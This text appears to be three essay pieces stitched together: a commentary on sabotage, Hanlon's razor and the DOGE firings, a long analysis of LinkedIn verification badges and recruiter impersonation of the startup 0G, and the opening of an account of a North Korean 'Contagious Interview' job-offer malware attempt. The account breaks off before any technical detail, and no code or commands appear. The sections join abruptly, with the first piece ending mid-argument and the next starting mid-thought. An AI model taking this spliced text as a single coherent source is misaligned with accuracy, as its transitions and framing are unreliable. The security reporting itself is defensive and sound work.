The word itself has spent a century trying to teach us the lesson. Students learn that sabotage descends from the sabot, the French worker’s wooden shoe, hurled into the gears of the loom by enraged weavers. The story is almost certainly apocryphal — a false attribution nested inside the etymology — which feels just right for this essay. The truer lineage is less cinematic and more instructive. Saboter meant to clatter about in wooden shoes, and by extension to bungle; to do work badly.

“In France, especially in the rural districts,” Spargo says in explaining the appropriateness of the term, “it has long been the custom to liken the slow and clumsy worker to one wearing wooden shoes, called ‘sabots.’ ”

He adds that the “phrase, Travailler a coups de sabots, to work as one wearing wooden shoes, has long been used with reference to the slow and clumsy worker.”

“The idea is obvious: the peasant with heavy wooden shoes walks clumsily and slowly in company with those who wear shoes of leather,” he writes.

When the French syndicalists took up the term in the 1890s, they meant exactly that, the deliberate performance of bad work. Bad pay, bad work, went the slogan. The first saboteurs did not throw their shoes into the machinery. They were the machinery, running badly on purpose.

Respectable theory followed the shop floor. Thorstein Veblen, writing in 1921, defined sabotage for the economists as “the conscientious withdrawal of efficiency,” a definition he lifted, almost verbatim, from the Wobbly agitator Elizabeth Gurley Flynn.

Legendary IWW activist Elizabeth Gurley Flynn attempted a more precise definition in her tract: “sabotage” referred to any effort “to limit his production in proportion to his remuneration,” or in other words, “the deliberate withdrawal of efficiency by a competent worker.”

Even the canonical definition of sabotage is reattributed merchandise. And in 1944 the Office of Strategic Services distilled the whole tradition into the Simple Sabotage Field Manual, a wartime pamphlet for the citizen-saboteur that reads today like an unusually candid management or public relations consultancy. Its authors understood that the amateur’s best weapon was what the manual calls “purposeful stupidity”: insist that everything move through channels, refer decisions to committees for further study, haggle over the precise wording of communications, advocate caution. The tactics were chosen because no counterintelligence officer could tell them apart from the ordinary friction of institutional life.

What sits at the heart of my eleven words is American doctrine with a paper trail.

I did not come to the sentence through Veblen. I came to it the way most people come to maxims, by watching something happen and reaching for compression. Six months earlier, in the first spring of the second Trump administration, I had posted this:

“Reminder: The intention is sabotage at all levels. The methods are resourced from our enemies. The cover is that negative outcomes of the sabotage are accidental or products of incompetence.”

— @HackingButLegal, April 3, 2025

That was a specific claim about a specific moment: the sabotage is intentional, and incompetence is the cover story. My October sentence is what remained once the particulars boiled away and I reforged the accusation as an instrument. The reforging matters. If incompetence can serve as cover for sabotage, if the two are interchangeable by design, then indistinguishability is not a defect in the observer’s attribution process; it is the adversary’s deliverable, anticipated by the OSS eighty years ago.

Singh’s Law simply notes the observer’s side of that arrangement.

My claim of authorship covers only the construction — Clarke’s frame carrying sabotage rather than malice as its endpoint — but the endpoint earns its keep. Malice lives in someone’s head, while sabotage can be seen in incident, downtime, and breach reports. Intent can be endlessly litigated while wreckage can be audited by the quarter.

Which is also why the sentence functions less as a razor than as an anti-razor. Hanlon’s razor cuts: given two explanations, shave away malice and keep stupidity. Sound hygiene, and in my field chronically abused as an attribution sedative (probably a misconfiguration) administered to end inquiries that deserved to continue. My April tweet described the same mechanism from the saboteur’s side of the table… incompetence-as-cover is Hanlon’s razor wielded by the people it was meant to judge, purposeful stupidity dressed as the ordinary kind. Singh’s Law blunts the blade. Past a certain scale, neither explanation shaves away, and the attempt itself wastes the inquiry.

Now to Musk’s wording, and why it simply will not do. His version concedes the equivalence and then parks it at an asymptote. A limit, in the calculus, is the value a curve approaches without arriving. Therefore, under his construction, every disaster on record falls short — we are not at the limit yet — and the incompetence defense survives each finite case by definition. “In the limit” is that defense formalized: admitted in principle, priced never to pay out in practice. “Sufficiently advanced” stakes the opposite claim, a finite threshold crossed on observable dates.

I am likely to be asked whether Musk’s 2023 tweet represents some form of foreshadowing, and whether the man who articulated the principle and later ran the operation chose the asymptotic wording as cover. I decline the question, but not out of delicacy. Design or instinct behind “in the limit” is an intent claim beyond any audit. The field test its author went on to supply is not.

The test arrived in 2025, when the Department of Government Efficiency (DOGE) became the law’s definitive proving ground — the conscientious withdrawal of efficiency, administered by a department named for exactly that. One February week produced the pattern in miniature. On the thirteenth, as many as 350 nuclear-security workers were fired from the National Nuclear Security Administration; within about a day the terminations of all but 28 had been rescinded, by officials who then struggled to reach the reinstated, their contact information having departed with their access. On the nineteenth, bird-flu response staff were fired at the Department of Agriculture with the outbreak still culling flocks, then reinstated within days as a “mistake.” By March of 2026, according to the Brookings Institution’s Elaine Kamarck, some 25,000 dismissed federal workers had been rehired as “essential,” and federal judges ordered mass reinstatements of their own. The ledger side of the operation held to the same standard. Its largest claimed contract cut shrank from $8 billion to $8 million once the vendor’s paperwork was actually read, and independent reviews found the celebrated wall of receipts resting on contract ceiling values, duplicate entries, and claims no one could verify. By last December its architect had already returned his verdict on a friendly podcast: “somewhat successful,” and he would not do it again. On the Fourth of July, 2026, the organization self-terminated on the schedule its founding order had set, reporting $215 billion in savings against the $2 trillion once promised (eleven cents on the targeted dollar) with no closing report to follow.

Each of those outcomes was defended as accident or as tuition for moving fast: the cover mechanism from the April post, verbatim, running at federal scale, with the OSS manual’s tactics legible beneath the org chart. Run the record through the two formulations and watch them diverge. Under “in the limit,” all of it merely approaches the threshold, data points on an asymptote, each one excusable, with the defense intact in perpetuity. Under Singh’s Law, the threshold was crossed in the first month. Twice in one week.

The verdict requires no conspiracy, only a threshold. That is the entire argument for my wording — and the record, whatever the machines eventually make of it, now has a first entry.

It can mean “this is a real, documented person,” or “this person actually works where they say.” A scammer in Bogotá impersonating the AI startup 0G has the first kind. The startup’s own founder cannot get the second kind for himself, because on LinkedIn, proving you work somewhere runs through software his company does not use. So the trust mark is easier for the impersonator to earn than for the company being impersonated to secure for its own staff. On top of that, LinkedIn attaches a company’s logo to anyone who types its name, links it to the real company page, counts them in the employee total, and will not let the company remove them without a sworn legal filing or a court order.

The story here is how a verification system came to shield the wrong people, and why the obvious fix runs into an antitrust problem. Somebody pays for all of it, and it is neither the platform nor the scammer.

This piece and its companion publish together today. The companion, North Korea Is Hiring, follows the attack itself: a North Korean malware operation that used exactly this gap to target my business partner. Read the pair as system and specimen. Every social platform with a broken trust signal invites abuses like these; LinkedIn most of all, because the claim being faked there, employment, is the very thing the platform exists to certify.

Two people on LinkedIn carry the same small grey shield beside their name. One of them co-founded the company. The other, according to that company, has never worked there in her life.

Michael Heinrich built 0G Labs, an AI and blockchain infrastructure startup. Click the verification badge on his profile and it resolves to two things: a work email at Garten, the company he founded before this one, and an educational email at Stanford, where he took his master’s and still teaches. His current company, the one he runs and is publicly defending against impersonators, does not appear in his verifications at all.

Click the identical badge on the profile of a woman in Bogotá who lists herself as an HR Business Partner at 0G since October 2024, and it resolves to a Colombian government ID, checked in July 2024. It says nothing about 0G either. A 0G executive, asked about her directly, was unambiguous: the company does not know her, and never has.

The two shields match down to the shade of grey and the spot where they sit beside the name. To see that one badge attests to a former employer and a university, and the other to a passport, and that neither says a word about 0G, you have to stop and click each one. Nobody clicks. That is the point. On the platform where a billion people go to establish who they work for, the man who built the company and the woman it says it has never heard of wear the identical mark of trust, and it certifies, in both cases, something other than the thing a reader assumes.

Everything that follows is an explanation of those two badges. Hold onto them.

Two kinds of checkmark

The confusion starts with the badge itself, because a single icon stands for two entirely different claims, and the whole story flows from the gap between them.

LinkedIn offers a member two verifications that both produce the grey shield. The first is identity verification: a member submits a government ID and a selfie to one of LinkedIn’s partners, and the badge confirms that a real, documented human is behind the account. Anyone with a passport can get it, alone, in about ten minutes. The second is workplace verification: it confirms that the member actually works at the employer listed on their profile. That one is harder, because it requires the employer’s cooperation, and most of what follows explains why.

The two look the same. In a message or in search results, the shield sits beside the name and says nothing about which kind it is. You have to open the profile and click it to find out. If you wear the shield yourself, click it and see which of the two claims you have been making. Some readers will find a former employer in there, still vouching for a job that ended.

The two people from the top land on opposite sides of that split. The woman in Bogotá has an identity verification. Her badge is real and it is doing the job LinkedIn built it to do: it confirms she is a documented person. It says nothing about 0G. Heinrich has workplace and education verifications, but they point at Garten and at Stanford, the places he can prove he belonged to. Neither points at 0G. A reader glancing at either shield would never guess it, but neither badge certifies the one fact a jobseeker cares about, which is whether the person works at 0G. One of these people cannot honestly claim it. The other built the company and cannot conveniently prove it. Both wear the same mark.

That the badge buys real advantage is not in dispute. LinkedIn’s own marketing says verified members see 60% more profile views and 50% more engagement, and its Trust Product VP has put a number on the record: more than 90 million members carry verified information, and the attention follows them. The shield purchases reach and trust; clarity about what was checked is not part of the bargain.

A real person is exactly what the scam needs

The impersonator’s badge first, because the way it misleads is the cruelest part.

Her verification confirms she is a real, documented human. That sounds like a safeguard. It is the opposite, and to see why you have to know how the fraud works. Identity verification does not defeat identity fraud. In the case the companion investigation documents, it completed it.

The dominant North Korean employment-fraud model does not forge identities. It rents real ones, or steals them outright. When the security-awareness firm KnowBe4 ran a background check on a North Korean operative it had unknowingly hired, the check came back clean, because the stolen identity underneath was a real American’s. A verification that confirms a real human exists is no defense against an adversary whose entire method is to wear a real human’s documents. It is a piece of the disguise. The badge does not fail. It works perfectly, and it certifies the wrong thing.

The founder’s badge, verified for the wrong company

The other badge misleads in a quieter way, and the founder illustrates it without doing anything wrong.

Workplace verifications do not switch off when the job ends. LinkedIn’s own troubleshooting pages say so plainly, in nearly identical language across all three of its workplace-verification methods: if you change jobs and your new company has not enabled workplace verification, your previous workplace verification stays visible on your profile. The same sentence appears for Microsoft Entra, the corporate identity software many companies use to manage employee logins, and for the LinkedIn Learning route.

Heinrich is the clean demonstration. His badge points at Garten, which he left, and at Stanford, which he attended, both verified back in October 2023. He has done nothing improper. He simply carries forward the marks he was entitled to at the time, because LinkedIn’s design keeps them lit long after they have stopped describing his present. A reader glancing at the shield reads “verified,” full stop, and moves on. Nothing tells them the attestation is a two-year-old artifact of a job that ended.

Put the two badges side by side and the failure is complete.

The impersonator’s mark is real but undated, and points nowhere useful. The founder’s is no less real, only stale, and it points at the wrong company. Neither is a lie. Both are true statements, rendered as a general-purpose signal of present trustworthiness, sitting next to whatever the person happened to type into their current-employer field. Which brings us to what a person can type there, and what LinkedIn does with it.

We tried to build the defense first

A quick word on how I came to be staring at these two profiles, because the failed attempt is itself part of the finding.

The idea was modest. A tool that would let a company find every person on LinkedIn claiming to work there, check those claims against its own payroll, and flag the strangers. Nothing touching private messages or data behind a login wall. Just a reconciliation between what people assert in public and what an employer knows to be true.

It cannot be built. The reasons arrive further down; the more useful discovery came before any of the legal or technical walls. LinkedIn does not merely fail to verify the claim that someone works at your company. It actively dresses that claim in your company’s clothing, and that became the real story.

Subscribe now

The logo problem

Here is what LinkedIn does with an unverified employment claim, and nothing in the story fails quite so nakedly.

Anyone can add any company to their experience section. Type the name, pick the company from the dropdown, and the platform supplies the rest. The company’s logo appears on the profile. It hyperlinks through to the official company page, the one real employees maintain, with its genuine followers and posts. The claimant is folded into the employee count that page shows every visitor.

None of this requires verification. The logo is not a credential the company issues; it is a graphic LinkedIn attaches to an unverified assertion, and it lands on a reader with all the force of a credential. The whole fake-recruiter economy runs on that gap. The impersonator forges nothing. The platform does the forging, in good faith, as a rendering convenience. The woman in Bogotá did not have to counterfeit 0G’s logo; she selected 0G from a menu, and LinkedIn drew it for her and linked it to 0G’s own page.

And the impersonated company cannot see any of it in a systematic way. There is no admin dashboard listing everyone who claims affiliation. No queue to review, no alert when a stranger in another country suddenly lists your firm as their employer.

The company that has been shouting into the void

If you doubt that this is a live wound rather than a theoretical one, look at what the impersonated company has been reduced to doing about it.

0G is not a passive victim discovering this for the first time. It has been fighting it in public for months, with the only tools the platform leaves it, which is to say tools that do not work.

In March 2026 the 0G Foundation’s verified account posted a formal scam warning: someone was impersonating the company, running fake interviews and steering candidates to fraudulent booking links, and had begun approaching investors to close deals in 0G’s name. The notice tells applicants that every legitimate interview invite comes from an 0g.ai address; that real headhunters working for 0G will never ask a candidate to download files or clone a code repository, and that anyone unsure should verify through a named 0G mailbox first.

The graphic attached reads: If It’s Not From @0g.ai, It’s Not From Us. Heinrich himself posted a near-identical warning a couple of months later.

The line that matters is the one where he spells out the limits of his own power: anyone on LinkedIn can list 0g as their employer, we do not control this, and only LinkedIn can remove fraudulent profiles. The co-founder of the impersonated company, verified, telling his own audience that the only party who can act is the platform, and that the platform has not.

Read what these notices actually are.

On the professional network whose entire proposition is verified professional identity, a company’s remedy against impersonation is to leave the platform and publish, somewhere else, a plea that people check an email domain instead. That is how an organization behaves when it has run out of options inside the system meant to provide them. The scam recurs anyway, because a public warning removes no profiles, and the profiles are where the deception lives.

There was, in this case, even a fake product to complete the illusion. The North Korean operation the companion piece traces built its lure around a Web3 poker game it called “0G RollPlay,” a name chosen to borrow 0G’s brand. It is not a 0G product. The real company’s code repositories contain no such thing and it ships no such game. The attackers took a generic open-source project, painted 0G’s name on it, and used it as the pretext to get an engineer to clone and run a poisoned repository. Even the product was invented, and the platform still rendered the affiliation.

Can an organization fight back?

So the company knows about a specific fake profile. What can it do to get that one profile taken down? Almost nothing, and the process is stranger than that summary suggests.

LinkedIn’s help center is direct about the limits. It is not possible for a page administrator to remove someone who claims to work there, because the member supplied the data. The company must instead file a report of inaccurate employment, and LinkedIn’s own page notes that any assertion made in that form is made under penalty of perjury.

A stranger can assert an employment relationship with your company, and LinkedIn will render it in your branding with no evidence required. To contest the assertion, the company that actually holds the payroll must swear a legal oath.

It gets worse in practice. By the account of impersonated companies who have described the process publicly, there is a counter-notice step: a formal objection from the reported profile that, under LinkedIn’s process, stops the removal cold. LinkedIn contacts the profile owner. If the owner disputes the takedown, LinkedIn declines to act and tells the company it can revisit the matter with formal judicial process. Reported timelines run to a fortnight at minimum, and success is not guaranteed. A company can find itself needing a court order to remove a fabricated employee from its own page.

The structure is borrowed from copyright takedowns, where notice-and-counter-notice makes sense because two parties may hold genuinely competing claims to a piece of creative work. Employment is not like that. There is exactly one authoritative source for whether a person is on a payroll, and it is not the person. Apply a symmetric dispute process to a question with only one right answer, and the outcome writes itself: the party holding the evidence carries the burden, and the party with the incentive to lie enjoys the presumption.

The loophole that swallows the remedy

Even that grim process turns out to be a footnote, because most impersonators never trigger it in the first place.

The 0G executive spelled it out. Most of the impersonators, he said, do not claim to work at 0G at all. They claim to work at a recruiting agency, recruiting for 0G. And that, he said, makes it impossible to get them removed.

Follow the logic. The inaccurate-employment process exists to correct a false claim of employment at your company. A person who claims to work at Acme Recruiting, sourcing candidates for 0G, has made no false claim about employment at 0G. They have made a claim about Acme. 0G has no standing to report it, because the tool addresses a claim that was never made. The brand is being used, the jobseeker is being deceived, and there is no mechanism at all.

The woman in Bogotá ran both patterns at once, a doubling that makes her the clean illustration. Her profile lists 0G as a current employer, the removable kind of claim, the kind 0G could at least file a perjury declaration against. But when she actually approached my business partner, she presented herself as an ecosystem partner to a different company entirely, and 0G was never mentioned. That second form, the agency claim, is the one no company can touch. One operator, running the removable con and the unremovable con in parallel, on the same verified account.

And underneath both sits a deeper fact: trademark law, not platform policy, is the only thing that even describes the wrong when someone borrows your brand while claiming to work somewhere else. That matters because of a specific gap in the American law that shields platforms. Section 230 makes a platform immune for what its users post, but the statute carves the immunity back at 47 U.S.C. § 230(e)(2), which provides that nothing in the section limits “any law pertaining to intellectual property,” and a federally registered trademark is intellectual property. The carve-out is the statute’s own text, not a litigant’s theory. So LinkedIn is immune for the sentence the user typed. Whether it is immune for the registered trademark it chose to render beside that sentence is the open question Congress deliberately left unanswered. It is open twice over, in fact. Courts have also divided on when a platform’s automatic display of a mark its user selected counts as the platform’s own use of the mark in commerce rather than the user’s, and a claim against LinkedIn would have to win that question too. The argument is live, not settled.

The one time the question was put to LinkedIn directly, LinkedIn declined to answer it. In 2020 the poultry company Wayne Farms sued LinkedIn in federal court in Illinois after an impostor used its logo and a real sales manager’s identity to solicit fraudulent orders, inducing buyers in the United States and Italy to wire deposits. The fake profile had been reported, briefly taken down, then relisted and left running despite further reports, the same report-and-relist cycle a company faces today. Wayne Farms brought claims under the Lanham Act, the federal trademark statute, for infringement, counterfeiting, and dilution, all of which sit inside the § 230(e)(2) carve-out. LinkedIn did not litigate a Section 230 defense to judgment. It settled, on confidential terms, and was dismissed. A settlement sets no precedent and proves no liability, and I am not claiming it does. It shows something narrower and still useful: faced with a trademark claim that the statute’s own text places outside its immunity, the platform paid to exit rather than move to dismiss on the immunity it invokes everywhere else.

The trademark route, for all that, reaches only half the injury. It describes the company’s harm, a brand rendered beside a stranger’s claim. The jobseeker’s harm, a logo and a badge that read as checks the platform never ran, belongs to a different and older body of law: consumer protection, the Federal Trade Commission’s ban on deceptive practices and its state-law cousins, which ask one question only, whether a design misleads a reasonable person. That route needs no trademark registration and no European regulator. The rest of this story dwells on the competition frame because it is the frame that explains why the fix has not shipped; a regulator hunting the fastest path to the person being deceived would reach for the duller statute.

The case against a delete button

Before demanding the obvious fix, sit with the strongest reason LinkedIn has for not shipping it, because the reason is genuinely good and the argument fails without it.

Give company administrators unilateral power to remove anyone who claims to work there, and you have handed every employer a tool to erase employment history. Consider who gets removed first. The whistleblower whose tenure the company would rather deny. An employee in the middle of a discrimination claim. Any contractor whose status the company disputes for reasons of its own. The person fired in circumstances the employer would prefer undocumented. An employment record is one of the few assets a worker carries between jobs, and a platform that lets employers delete it on demand has built an instrument of retaliation.

The messy cases are real too: subsidiaries and parent companies, acquisitions whose pages linger for years after the deal, agency staff and loaned employees and contractors whose tie to the brand is genuine but appears on no payroll. A blunt delete button breaks all of them. None of that makes the counter-notice process stupid. It exists for reasons that deserve respect, and a writer demanding its abolition would be arguing for something worse than what exists.

But watch what that justification actually covers. Caution about removal, yes. Attribution, not a word. The reason a company cannot be trusted to delete a claim has no bearing on whether LinkedIn should attach that company’s logo to the claim, hyperlink it to the company’s own page, and count the claimant among its staff before anyone has checked a thing. Those are two separable decisions, and the second is not protected by any argument that defends the first. You can decline to erase a person’s stated history while also declining to lend them a corporation’s visual identity.

Why can’t the founder get verified, either?

This returns us to the two badges, and to the question everything else has been circling. If workplace verification is the answer, why does the founder of the impersonated company not have it?

Start with LinkedIn’s own definition. A workplace verification means a member confirmed their association with a company through one of four routes: a work email, Microsoft Entra Verified ID, a LinkedIn Learning license provided by their company, or an active LinkedIn Recruiter license provided by their company.

Read that menu again.

Entra is Microsoft’s identity product. LinkedIn Learning and LinkedIn Recruiter are paid LinkedIn subscriptions, the latter running to five figures a seat. Three of the four routes to being a verified employee run through a Microsoft or LinkedIn commercial relationship. The fourth, work email, is the only vendor-neutral option, and LinkedIn’s help page describes it as currently eligible to a limited set of companies. It is a pilot, and admission is at LinkedIn’s discretion.

LinkedIn will point, fairly, to a change it made in September 2025: it now requires workplace verification when a member adds or updates a recruiter or executive title, precisely to fight recruiter impersonation. Take the improvement seriously, then look at where it bites. It triggers only when someone edits their title to something like “Recruiter.” It does nothing about the logo, the hyperlink, or the headcount rendering on an ordinary profile, and nothing about the agency-claim loophole either, since a person recruiting for 0G from an outside agency is not listing a 0G role. And it still runs through the same four-route menu, so the requirement can only be met by someone who already has a qualifying commercial relationship to meet it with.

The profile at the center of this story shows how little the mandate reaches. Her 0G entry is not titled “Recruiter” or any executive role. It reads “HR Business Partner,” part-time, October 2024 to present, nearly two years, carrying 0G’s logo linked through to 0G’s own company page. That title trips no requirement. The check built to stop recruiter impersonation never fires, because the impersonation did not use the word the check looks for.

The obvious accusation, that Microsoft charges companies for the privilege, is false, and better shot down at once. Entra Verified ID’s core issuance and verification is free with any Entra subscription, and the free tier of Entra ships with any Microsoft cloud subscription. Nobody pays a per-badge toll.

The cost is not money. It is ecosystem membership. A company that runs Okta for identity and Google Workspace for email has no Entra account, and therefore no route to Entra-based verification. Its remaining options are to buy a LinkedIn Learning or Recruiter subscription, or to wait at the door of the pilot. Whether an organization’s staff can prove where they work, on the platform where that claim matters most, comes down substantially to whose software the company happens to buy. Small wonder 0G appears on none of its own people’s badges, Heinrich’s included.

Which produces the sentence the two badges were pointing at all along. LinkedIn’s verification is easier for the impersonator to obtain than for the company being impersonated. An individual with a passport gets an identity check in ten minutes, alone, for free. A company cannot get workplace verifications for its own people without a qualifying commercial relationship. The trust signal is more available to the person doing the lying than to the party being lied about. None of that accuses anyone of bad faith. It describes a menu, drawn from LinkedIn’s own help pages, and the menu explains everything upstream.

Open standard, closed gate

An obvious objection comes straight from Microsoft’s own marketing, and it needs answering head-on.

Microsoft describes Verified ID as built on open standards, noting it works with existing HR systems and a range of identity systems, including ones companies run on their own servers. That is true, and it does more rhetorical work than it appears to. Verified ID does rest on the W3C verifiable-credentials standard, an open, non-proprietary format, and it genuinely can ingest from whatever identity infrastructure a customer already runs. But that describes what Microsoft’s product accepts as input, not what LinkedIn will honor from outside issuers.

And nothing LinkedIn has published points that way. Every route it documents runs through Entra, a LinkedIn subscription, or the limited email pilot. There is no path by which Okta, or Ping, or a university, or a government issuing credentials to its own civil servants, can vouch for a person’s employment in a form LinkedIn will display.

The credential format is an open standard. The list of issuers LinkedIn honors is not. One honest difficulty remains, and it is not a pretext: an open issuer list cannot be an unguarded one. Honor any conformant credential from anyone, and an attacker stands up a conformant issuer of his own and mints fake workplace attestations by the thousand, leaving the badge worse than useless. Opening the gate means building the layer that decides which issuers to trust, an accreditation registry of the kind that already governs website security certificates and academic credentials. Real work, and a fair reason for care. Not one for paralysis; adjudicating trust among independent issuers is the very problem the standard was designed to carry.

The trap

The safety failure and the competition problem meet at this point, and turn out to have been one problem wearing two coats.

The obvious safety fix, the one anyone proposes after five minutes with this problem, is to make verification consequential. Show a jobseeker at first contact whether a sender’s employment claim is verified or merely typed, and withhold the borrowed wardrobe, logo and hyperlink and headcount, from unverified claims. Then ask whether an unverified account presenting itself as a recruiter should really have unrestricted reach into a billion inboxes. LinkedIn has done a narrow version of that last one and none of the rest. Part of the reason is ordinary commerce: friction on messaging reduces messaging, and messaging is the product. If that were the whole story, this would be a short essay about incentives. The longer story is that even a LinkedIn that wanted to go further would find the most direct road legally hazardous, and the hazard is one of its own construction.

Here the relevant fact is regulatory, and the Act names it rather than leaving it to atmosphere. Under the European Union’s Digital Markets Act, LinkedIn is a designated “gatekeeper,” the term the EU uses for the handful of dominant platforms that face special rules meant to keep markets open, and Microsoft is the gatekeeper on the hook for it. One of the Act’s black-list prohibitions, Article 5(7), forbids a gatekeeper from requiring users to use its own identification service in the course of using its platform. Entra Verified ID is an identification service.

Suppose LinkedIn gated all recruiter messaging on workplace verification, not just the title label. It would be conditioning full use of the world’s professional network on membership of Microsoft’s identity ecosystem, or on the purchase of a LinkedIn subscription. Every firm on a rival identity stack would find its recruiters quietly degraded against firms on Entra. Whether Article 5(7) would ultimately bite is for the Commission, not for me, to decide, and the provision’s scope, framed around services that business users offer through the platform, has not been tested against a case shaped like this one. But the fix a safety engineer would reach for first is one a designated gatekeeper cannot ship without walking straight at a named prohibition, not a vague regulatory mood. Microsoft’s competition lawyers will have mapped that long before its product managers did.

Therein lies the trap. LinkedIn cannot safely make verification fully consequential while verification remains proprietary. From where I stand that leaves one solution: open the gate to accredited outside issuers, and the safety lever comes unstuck. Until then, the impersonators keep their reach.

It wouldn’t be the first time the same leverage has drawn a regulator’s eye. When the European Commission cleared Microsoft’s acquisition of LinkedIn in December 2016, it did so subject to conditions, worried about this very species of leverage: that Microsoft would use its strength in one product to entrench LinkedIn against rivals. The remedies obliged it to let PC makers decline to preinstall LinkedIn, to preserve competitors’ ability to plug into Office, and to grant them access to a Microsoft developer gateway. Those conditions ran five years and lapsed at the end of 2021. The Commission was watching leverage flow one way, from Windows and Office into LinkedIn. The current runs the other way, through a channel that did not exist in 2016: LinkedIn’s trust layer now flows back into Microsoft’s identity product.

Only the Commission can say whether that amounts to self-preferencing, a gatekeeper favoring its own service, in the DMA’s sense. I note that the arrangement sits squarely inside the category of conduct the DMA exists to scrutinize.

The statute cuts both ways, and pretending otherwise would be convenient rather than honest. The same law that makes the lever dangerous to pull while the gate stays closed is also the likeliest instrument for forcing the gate open. The DMA’s whole design pushes gatekeepers toward interoperability and away from favoring their own services. A regulation with teeth enough to stop LinkedIn from requiring Entra can also, in principle, require LinkedIn to honor a credential Entra did not issue. The trap has a key, and the key sits in Brussels. Someone still has to turn it, and that is politics, not law. That it exists at all reclassifies the problem, from structural inevitability to unforced choice. Until someone makes it, the two badges from the top stay as they are: hers minted in ten minutes and attesting to nothing that matters, his pointing faithfully at a job he left.

Why the data cannot simply be opened either

One last fix will occur to readers, and it deserves a burial with honors rather than a wave of the hand.

Let LinkedIn expose a feed of everyone who claims to work at a given company, the argument goes, and let employers reconcile it against payroll. But that feed has a second reader. A defender would run it as an impersonation detector. To an attacker it is a spear-phisher’s census: the whole org chart, machine-readable, down to which junior employee books the executive’s travel and what name to drop with the helpdesk. It is the reconnaissance artifact the fraud depends on, and there is no technical way to hand it only to the good actors, because the adversaries here are intelligence services patient enough to found front companies and rich enough to buy legitimate access.

LinkedIn’s refusal to open the data is defensible, then, and probably correct. In fairness, it also protects a revenue line, since Recruiter is the only place this search legitimately exists. Both are true, and the first would hold even without the second.

The unofficial back door is closed too. In January 2025 LinkedIn and Microsoft sued Proxycurl, a service that resold scraped profile data, alleging it ran hundreds of thousands of fake accounts to harvest member information. Proxycurl shut down rather than fight, and the settlement required it to delete the data, with the order reaching downstream to its customers. Those fake-account farms were real. It is hard to build a principled objection to shutting them down.

Front door and back door, closed for equally good reasons. That leaves the design of the front room, and the ownership of the only key that could lock it.

What to do in the meantime

None of the structural fixes are yours to make, so here is what helps while the structure stays as it is.

For companies, the practical measures are duller than a product, and they work. Obtain workplace verification if any route exists for you, a thing to check rather than assume. Manage your verified email domains through page administration, the one real lever LinkedIn hands you, since withdrawing a domain also withdraws the verifications resting on it. Publish an unambiguous statement of your official recruiting channels, naming the domains your recruiters write from and the applicant-tracking system you use, as 0G has done, so a candidate has something concrete to check against. And audit your page’s claimed employees by hand, unsatisfying as that is.

For jobseekers, the advice is uncomfortable but honest. The badge does not tell you what you think it tells you. The logo is not an endorsement. Neither is proof that the person messaging you works where they say. Verify out of band: find the company’s careers page yourself instead of following the link you were sent. And be deeply skeptical of any interview that asks you to run unfamiliar code on your own machine, which is where the companion investigation picks up, and the exact moment all of this stops being about trust signals and becomes a compromised laptop.

The room, not the door

There is a version of this story about villainy, and it is not the interesting one. LinkedIn’s data is closed on grounds that hold up. The lawsuits went after genuine fake-account farms, and the caution about handing employers a delete key shields workers who need the shield.

The room those reasonable decisions have furnished holds up less well. A company’s logo is attached to claims it never made and cannot withdraw. A verification badge earned at one employer follows a person to the next, generic and undated, buying measurable extra trust. An identity check that confirms a real human becomes, in the hands of someone wearing a rented identity, the final polish on the disguise. The employee count on a company’s own page includes strangers it cannot remove. The one requirement built to stop recruiter impersonation checks the job title, so an impersonator simply writes a different job title. The burden of correcting any of it falls on the party holding the evidence, under oath, on a fortnight’s timeline, against an objection that can halt the process outright. And most impersonators skip the entire apparatus by claiming to recruit for the company rather than to work at it, which the apparatus does not cover.

The mechanism that would fix most of this has been built, and built in a form that cannot be deployed. The verification works; the cryptography is sound. The distribution is what broke: three routes out of four sit behind a commercial relationship with the platform’s owner, which is why the badge can never be made to matter without foreclosing everyone outside that relationship. The lock was built; then the key was made proprietary; now the door cannot be locked at all, and a founder posts to his own followers that the only party who can help him is the one that hasn’t.

Most of this, not all of it. Open verification defeats the direct impersonation, the stranger wearing a company’s logo as a claimed employer, and it finally lets a company light up its real staff. It does not reach the agency claim, the dominant pattern, because a recruiter who borrows the brand without claiming the payroll makes no employment assertion for any issuer to check. That con will need different tools, disclosure requirements for third-party recruiting or friction on outreach from accounts with no verified employer. The most common attack survives the elegant fix, diminished but not dead.

None of this requires opening a single new data feed. It requires a platform to accept a credential it did not issue.

The companion investigation, North Korea Is Hiring, is the case study to this essay’s map: one attack walked end to end, from a verified recruiter’s first LinkedIn message to live command servers on sanctioned infrastructure. The operators broke nothing to get there. They moved into the room this essay describes and let its trust signals do the work.

A note on sources: The description of how LinkedIn’s verification, workplace-affiliation, and takedown systems work is drawn from LinkedIn’s own published help documentation, its product marketing, and Microsoft’s published pricing and product pages. Anne Plazas Parras’ profile details are taken from her public LinkedIn profile and its “About this member” panel, captured 12 July 2026.

The account of the impersonation targeting 0G comes from a 0G executive who spoke to me directly, from 0G’s own public warnings, and from the companion investigation published alongside this piece. Where a claim rests on the account of an impersonated company rather than on LinkedIn’s own documentation, I have said so in the text. I did not seek comment from LinkedIn; nothing here depends on it, because the design choices described are ones LinkedIn has documented itself.

In short: a North Korean intelligence operation tried to take over my business partner's laptop with a fake job offer. The technique, "Contagious Interview," turns a recruiter's coding "test" into malware that runs the instant you open the project folder. Most of the campaign is already well-documented by the researchers I credit at the end.

What is first-hand and new here are additional live command servers found by hunting the operators' hosting and repositories. Public reporting then ties parts of that infrastructure to an EU-sanctioned Russian bulletproof network.

Researchers: Scroll to get a full technical teardown and indicators of compromise.

The Google Meet that was supposed to end with a backdoor

My business partner nearly took a great job. A recruiter found him on LinkedIn earlier this month, mentioned his work at the Solana Foundation by name, and pitched a role at Ritual, a real company building AI infrastructure on the blockchain. The pay was good. The recruiter, who called herself Anne, was friendly and in no hurry. There was a Google Doc of open roles listing Ritual’s actual investors, a Calendly link, and a video call, run not by Anne but by a man who cut his own camera the moment it began.

Near the end came the request the whole thing was built around: could he clone the team’s code repository so they could go through the code together?

Wary of the whole “clone our repo and run it” ask, and the sort who keeps a locked-down setup and treats unsolicited code as hostile, he did the entire thing inside a throwaway macOS VM, and he ran a code-analysis pass over the repository before he trusted it. It came back with this contains malicious code. That instinct, to sandbox a stranger’s project and vet it before running it, is the reason this is an essay about a North Korean operation and not an incident report with his employer’s name on it.

The technique has a name. The security industry calls it Contagious Interview, and the idea is blunt: the job offer is the malware. It has hit thousands of engineers, and it works by targeting the one thing a careful person doesn’t think to guard: the pleasure of the suggestion, from someone who has clearly done their homework, that your work is good.

The offer

The con is the way in; the malware is delivered once the target is already going along with it. This works on basic manners and typical recruiter behavior, not sophistication.

